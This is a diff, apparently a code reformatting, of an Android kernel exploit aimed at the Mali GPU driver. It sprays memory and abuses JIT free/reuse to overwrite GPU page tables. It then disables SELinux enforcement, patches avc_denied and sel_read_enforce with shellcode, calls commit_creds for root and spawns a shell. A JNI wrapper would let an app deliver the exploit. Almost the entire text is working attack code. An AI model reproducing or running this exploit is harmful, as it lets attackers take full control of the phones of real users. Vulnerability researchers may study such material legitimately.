write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); } -void write_selinux(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { - uint64_t selinux_enforcing_addr = (((selinux_enforcing + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; - write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), selinux_enforcing_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); +void write_selinux(int mali_fd, int mali_fd2, uint64_t pgd, + uint64_t* reserved) { + uint64_t selinux_enforcing_addr = + (((selinux_enforcing + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT) | 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), + selinux_enforcing_addr, atom_number++, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); usleep(300000); - //Go through the reserve pages addresses to write to avc_denied with our own shellcode - write_data(mali_fd2, selinux_enforcing, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, 0, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); -} -void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { - - uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; - write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + // Go through the reserve pages addresses to write to avc_denied with our own + // shellcode + write_data(mali_fd2, selinux_enforcing, reserved, + TOTAL_RESERVED_SIZE / RESERVED_SIZE, 0, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); +} +void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, + uint64_t* reserved) { + uint64_t avc_deny_addr = + (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT) | 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, + atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); usleep(100000); - //Go through the reserve pages addresses to write to avc_denied with our own shellcode - write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code2[0]), sizeof(root_code2)/sizeof(uint32_t)); + // Go through the reserve pages addresses to write to avc_denied with our own + // shellcode + write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE / RESERVED_SIZE, + &(root_code2[0]), sizeof(root_code2) / sizeof(uint32_t)); - uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; - write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + uint64_t sel_read_enforce_addr = + (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT) | 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), + sel_read_enforce_addr, atom_number++, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); - //Call commit_creds to overwrite process credentials to gain root - write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); + // Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd2, sel_read_enforce, reserved, + TOTAL_RESERVED_SIZE / RESERVED_SIZE, &(root_code[0]), + sizeof(root_code) / sizeof(uint32_t)); } void spray(int mali_fd) { - for (int j = 0; j < SPRAY_NUM; j++) { - union kbase_ioctl_mem_alloc alloc = {0}; - alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR; // | (1 << 22); - alloc.in.va_pages = SPRAY_PAGES; - alloc.in.commit_pages = 0; - mem_alloc(mali_fd, &alloc); - gpu_va[j] = alloc.out.gpu_va; - } - for (int j = 0; j < SPRAY_NUM; j++) { - mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES); - } + for (int j = 0; j < SPRAY_NUM; j++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | + BASE_MEM_PROT_CPU_WR; // | (1 << 22); + alloc.in.va_pages = SPRAY_PAGES; + alloc.in.commit_pages = 0; + mem_alloc(mali_fd, &alloc); + gpu_va[j] = alloc.out.gpu_va; + } + for (int j = 0; j < SPRAY_NUM; j++) { + mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES); + } - for (int j = 0; j < SPRAY_NUM; j++) { - void* region = mmap64(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, gpu_va[j]); - if (region == MAP_FAILED) { - err(1, "spray region mmap failed %d\n", j); - } - gpu_regions[j] = region; + for (int j = 0; j < SPRAY_NUM; j++) { + void* region = mmap64(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, + MAP_SHARED, mali_fd, gpu_va[j]); + if (region == MAP_FAILED) { + err(1, "spray region mmap failed %d\n", j); } - + gpu_regions[j] = region; + } } int trigger(int mali_fd, int mali_fd2, int* flush_idx) { @@ -747,12 +793,15 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) { err(1, "Out of memory."); } uint64_t gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0); - void* gpu_alloc_region = mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, gpu_alloc_addr); + void* gpu_alloc_region = mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, + MAP_SHARED, mali_fd, gpu_alloc_addr); if (gpu_alloc_region == MAP_FAILED) { err(1, "gpu_alloc_region mmap failed"); } uint64_t jit_pages = SPRAY_PAGES; - uint64_t jit_addr = jit_allocate(mali_fd, atom_number, jit_id, jit_pages, (uint64_t)gpu_alloc_addr, (uint64_t*)gpu_alloc_region); + uint64_t jit_addr = + jit_allocate(mali_fd, atom_number, jit_id, jit_pages, + (uint64_t)gpu_alloc_addr, (uint64_t*)gpu_alloc_region); atom_number++; mem_flags_change(mali_fd, (uint64_t)jit_addr, BASE_MEM_DONT_NEED, 0); @@ -768,14 +817,16 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) { uint64_t alias_region = alias_sprayed_regions(mali_fd); fault_pages(); LOG("cleanup flush region\n"); - for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE); + for (int r = 0; r < FLUSH_REGION_SIZE; r++) + munmap(flush_regions[r], FLUSH_SIZE); uint64_t drain = drain_mem_pool(mali_fd); release_mem_pool(mali_fd, drain); printf("release_mem_pool\n"); jit_free(mali_fd, atom_number, jit_id); - printf("reserve pages here\n"); - reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + printf("reserve pages here\n"); + reserve_pages(mali_fd2, RESERVED_SIZE, + TOTAL_RESERVED_SIZE / RESERVED_SIZE, &(reserved[0])); LOG("jit_freed\n"); int freed_idx = find_freed_idx(mali_fd); @@ -784,21 +835,22 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) { int pgd_idx = find_pgd(freed_idx, 0); if (pgd_idx == -1) err(1, "Failed to find pgd"); - uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000); - #if defined(__aarch64__) - LOG("Found pgd %d, %lx\n", pgd_idx, pgd); - #else - LOG("Found pgd %d, %llx\n", pgd_idx, pgd); - #endif + uint64_t pgd = + alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000); +#if defined(__aarch64__) + LOG("Found pgd %d, %lx\n", pgd_idx, pgd); +#else + LOG("Found pgd %d, %llx\n", pgd_idx, pgd); +#endif atom_number++; write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000); - write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); + write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000); printf("time to run_enforce\n"); - run_enforce(); - run_enforce_un(); - //run_enforce_write(); + run_enforce(); + run_enforce_un(); + // run_enforce_write(); cleanup(mali_fd, pgd); return 0; } @@ -823,7 +875,6 @@ int main() { void* tracking_page = setup_tracking_page(mali_fd); jit_init(mali_fd, 0x1000, 100, 0); - int mali_fd2 = open_dev(MALI); setup_mali(mali_fd2, 1); setup_tracking_page(mali_fd2); @@ -832,7 +883,7 @@ int main() { int flush_idx = 0; for (int i = 0; i < 10; i++) { - if(!trigger(mali_fd, mali_fd2, &flush_idx)) { + if (!trigger(mali_fd, mali_fd2, &flush_idx)) { system("sh"); break; } @@ -840,31 +891,30 @@ int main() { } #else #include -JNIEXPORT int JNICALL -Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz) -{ - setbuf(stdout, NULL); - setbuf(stderr, NULL); +JNIEXPORT int JNICALL Java_com_example_hellojni_MaliExpService_stringFromJNI( + JNIEnv* env, jobject thiz) { + setbuf(stdout, NULL); + setbuf(stderr, NULL); - select_offset(); - int mali_fd = open_dev(MALI); + select_offset(); + int mali_fd = open_dev(MALI); - setup_mali(mali_fd, 0); + setup_mali(mali_fd, 0); - void* tracking_page = setup_tracking_page(mali_fd); - jit_init(mali_fd, 0x1000, 100, 0); + void* tracking_page = setup_tracking_page(mali_fd); + jit_init(mali_fd, 0x1000, 100, 0); - int mali_fd2 = open_dev(MALI); - setup_mali(mali_fd2, 1); - setup_tracking_page(mali_fd2); + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); - int flush_idx = 0; - for (int i = 0; i < 10; i++) { - if(!trigger(mali_fd, mali_fd2, &flush_idx)) { - LOG("uid: %d euid %d", getuid(), geteuid()); - return 0; - } + int flush_idx = 0; + for (int i = 0; i < 10; i++) { + if (!trigger(mali_fd, mali_fd2, &flush_idx)) { + LOG("uid: %d euid %d", getuid(), geteuid()); + return 0; } - return -1; + } + return -1; } #endif